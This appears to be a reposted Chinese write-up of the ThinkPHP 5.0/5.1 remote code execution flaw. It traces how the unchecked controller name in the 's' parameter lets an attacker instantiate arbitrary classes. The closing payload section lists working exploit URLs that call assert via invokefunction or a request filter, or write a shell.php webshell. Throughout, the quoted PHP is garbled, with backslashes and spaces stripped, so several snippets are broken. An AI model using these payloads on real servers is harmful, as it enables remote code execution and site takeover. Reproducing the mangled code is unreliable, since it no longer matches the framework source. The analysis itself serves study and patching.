原标题:Thinkphp 5.0远程代码执行漏洞
0x01 简叙
本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
这部分是官网的漏洞通告,官方最开始的补丁是在library/think/route/dispatch/Module.php中添加。
但是随机在第二天的5.1.31版本中将这部分的控制移动到library/think/route/dispatch/Url.php中。
0x02 漏洞分析
当然官方修改代码的位置是在thinkphplibrarythinkroutedispatchModule.php:70,因此可以现在这里下个断点看看。
我们看到传入初始化的url之后,调用链调用了thinkphplibrarythinkroutedispatchurl.php:25,我们来看一下代码。
1
2
3
4
5
6
7
publicfunctioninit()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return(newModule($this->request, $this->rule, $result))->init();
}
第四行调用了 parseUrl函数针对传入的$this->dispatch进行解析。跟进一下 parseUrl函数,函数位置在think/thinkphp/library/think/route/dispatch/Url.php:37,下一个断点看看。
我们发现调用会调用 parseUrl函数中的 parseUrlPath方法针对url进行处理,跟进一下 parseUrlPath方法。代码位置think/thinkphp/library/think/route/Rule.php。
对于thinkphp的框架来说url正常的请求方式应该是 aa/bb/cc也就是上面代码注释中的模块/控制器/操作。然后这里将url根据/进行了切割形成一个数组存到 $path变量中并返回到调用者。那么最后经过 parseUrl函数处理之后的结果 $route变量实际上就是上面的模块/控制器/操作三个部分。
$result就是我们之前说到的封装好的路由数组,传递给了Module的构造函数。
我们继续往下看由于存在这两行代码:
1
2
classUrlextendsDispatch
classModuleextendsDispatch
也就是说这里的 url和 module都是继承自 Dispatch类,跟进看一下 Dispatch类的实现。相关代码在:think/thinkphp/library/think/route/Dispatch.php:64
因此根据这个结构,初始化 Module类的时候,将我们之前的 $result数组传递了给了 $dispatch变量,并且调用 Module类的init方法
1
return(newModule($this->request, $this->rule, $result))->init();
因此继续跟进下来的 $result变量实际上是我们刚刚的数组。
所以回到我们刚刚的漏洞出发点,下个断点,我们发现 $controller变量和 $this->actionName都是从我们刚刚返回的 $result数组中获取的。
继续跟进调试,当路径判断等init操作全部完成之后,程序会运行到think/thinkphp/library/think/App.php:432。
1
2
3
$this->middleware->add(function(Request $request, $next)use($dispatch, $data){
returnis_null($data) ? $dispatch->run() : $data;
});
这行直接调用了$dispatch->run(),跟进一下,这个函数作用是执行路由调度。
其中第19行调用了 exec方法,跟进一下,这里我下了一个断点,当程序到了这里实例化了控制器 controller,且根据上面的分析 $this->controller完全可控。
继续跟进一下 controller,第三行调用了 $this->parseModuleAndClass方法来处理 $name变量。而 $name变量,正是前面是实例化的 $this->controller。并且 第5-9行此时判断类是否存在,不存在会触发自动加载类,然后第11行实例化这个类。
1
2
3
4
5
6
7
8
9
10
11
12
publicfunctioncontroller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if(class_exists($class)) {
return$this->__get($class);
} elseif($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return$this->__get($emptyClass);
}
thrownewClassNotFoundException('class not exists:'. $class, $class);
}
跟进一下 parseModuleAndClass方法,也就是说如果 $name变量中带有/,会直接将$name赋值给$class并返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protectedfunctionparseModuleAndClass($name, $layer, $appendSuffix)
{
if(false!== strpos($name, '')) {
$class = $name;
$module = $this->request->module();
} else{
if(strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else{
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return[$module, $class];
}
而从我们刚刚分析中可以知道 $name实际上是可控的,这里实际上可以使用利用命名空间的特点(ph师傅真厉害,code-breaking的function就是说这个东西的),如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
那么现在到这里实际上为啥会RCE基本上弄清楚了,关键是如何控制它RCE,首先我们运行应用程序的时候,实际上是think/thinkphp/library/think/App.php:375
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
publicfunctionrun()
{
try{
// 初始化应用
$this->initialize();
....
// 监听app_dispatch
$this->hook->listen('app_dispatch');
$dispatch = $this->dispatch;
if(empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
我们看到第14行,调用 routeCheck的init方法来检测路由,跟进一下 routeCheck。
1
2
3
4
5
6
7
8
9
10
11
12
publicfunctionrouteCheck()
{
...
// 获取应用调度信息
$path = $this->request->path();
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');
// 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must);
从这里我们可以看到默认开启了强制路由模式,并且调用的 request中的 path方法来获取路由信息。跟进一下 path方法,发现调用的是 pathinfo方法来读取路径信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
publicfunctionpath()
{
if(is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo();
if(false=== $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/.('. ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else{
// 允许任何后缀访问
$this->path = preg_replace('/.'. $this->ext() . '$/i', '', $pathinfo);
}
}
return$this->path;
}
跟进一下 pathinfo方法,我们发现它会从 $_GET[$this->config[‘var_pathinfo’]中判断是否有 $pathinfo信息。
1
2
3
4
5
6
7
8
publicfunctionpathinfo()
{
if(is_null($this->pathinfo)) {
if(isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif($this->isCli()) {
当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数。
然后会 $path交由 check函数进行处理,最后的结果赋值给 $dispatch。
1
$dispatch = $this->route->check($path, $must);
跟进一下 check函数,最后实例化一个 UrlDispatch对象,将 $url传递给了构造函数。
1
2
3
4
5
6
7
8
9
10
11
publicfunctioncheck($url, $must = false)
{
// 自动检测域名路由
$domain = $this->checkDomain();
$url = str_replace($this->config['pathinfo_depr'], '|', $url);
...
// 默认路由解析
returnnewUrlDispatch($this->request, $this->group, $url, [
'auto_search'=> $this->autoSearchController,
]);
}
继续跟进一下 UrlDispatch对象,最后就回到了我们最开始的thinkphplibrarythinkroutedispatchurl.php。
0x03 payload
自己真的懒。膜拜一下水泡泡师傅,这里直接丢他先知上给的,要是这个早出来几天就好了,这样我就可以刷一刷一个众测了,据说6个月前就有人在bbs问过这个问题了,tql。
5.1是下面这些:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
thinkLoader
ComposerAutoloadComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
thinkError
thinkContainer
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkFacade
thinkfacadeEnv
env
thinkDb
thinkLang
thinkRequest
thinkLog
thinklogdriverFile
thinkfacadeRoute
route
thinkRoute
thinkrouteRule
thinkrouteRuleGroup
thinkrouteDomain
thinkrouteRuleItem
thinkrouteRuleName
thinkrouteDispatch
thinkroutedispatchUrl
thinkroutedispatchModule
thinkMiddleware
thinkCookie
thinkView
thinkviewdriverThink
thinkTemplate
thinktemplatedriverFile
thinkSession
thinkDebug
thinkCache
thinkcacheDriver
thinkcachedriverFile
5.0 的有:
1
2
3
4
5
6
7
8
9
10
thinkRoute
thinkConfig
thinkError
thinkApp
thinkRequest
thinkHook
thinkEnv
thinkLang
thinkLog
thinkLoader
两个版本公有的是:
1
2
3
4
5
6
7
8
9
10
thinkRoute
thinkLoader
thinkError
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkLang
thinkRequest
thinkLog
5.1.x php版本>5.5
1
2
3
4
5
http://127.0.0.1/index.php?s=index/thinkrequest/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/index.php?s=index/thinktemplatedriverfile/write?cacheFile=shell.php&content=<?php %20phpinfo();?>
5.0.x php版本>=5.4
1
http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()Refer
thinkphp 5.x全版本任意代码执行分析全记录返回搜狐,查看更多
责任编辑: